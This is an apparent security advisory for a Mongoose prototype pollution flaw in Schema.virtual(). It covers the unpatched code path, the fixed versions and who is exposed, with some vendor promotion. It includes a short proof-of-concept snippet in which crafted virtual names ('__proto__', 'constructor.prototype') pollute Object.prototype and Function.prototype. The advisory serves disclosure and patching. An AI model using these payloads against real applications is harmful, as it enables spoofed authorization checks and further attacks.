MONGOOSE · CVE-2026-125118 · Package
FIX → 9.11.4 · 8.24.7 · 7.8.13 · 6.13.12
Mongoose's Schema.virtual() does not block __proto__, constructor or prototype path segments, so a crafted virtual name writes onto Object.prototype and Function.prototype. An attacker who controls schema field names can make every object appear to have extra properties, such as a spoofed isAdmin flag.
first public Nov 2, 2026 · 2 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Applications that use Mongoose and let attacker-influenced input set schema field or virtual names, such as dynamic schemas or form builders, are exposed. Applications with fixed schemas that do not take names from users can skip it.
Not affected if no-user-controlled-field-names, static-schemas
Who cares javascript, mongoose, node.js, nodejs
npm ls mongoose.Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.
In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).
A path containing __proto__// segments resolves through the prototype chain and writes onto / .
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 9.11.4 · 8.24.7 · 7.8.13 · 6.13.12
6.13.12 on the 6.x line7.8.13 on the 7.x line8.24.7 on the 8.x line9.11.4 on the 9.x lineconstructorprototypeObject.prototypeFunction.prototypeconst mongoose = require('mongoose');
const schema = new mongoose.Schema({});
schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true
schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true
schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted
Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.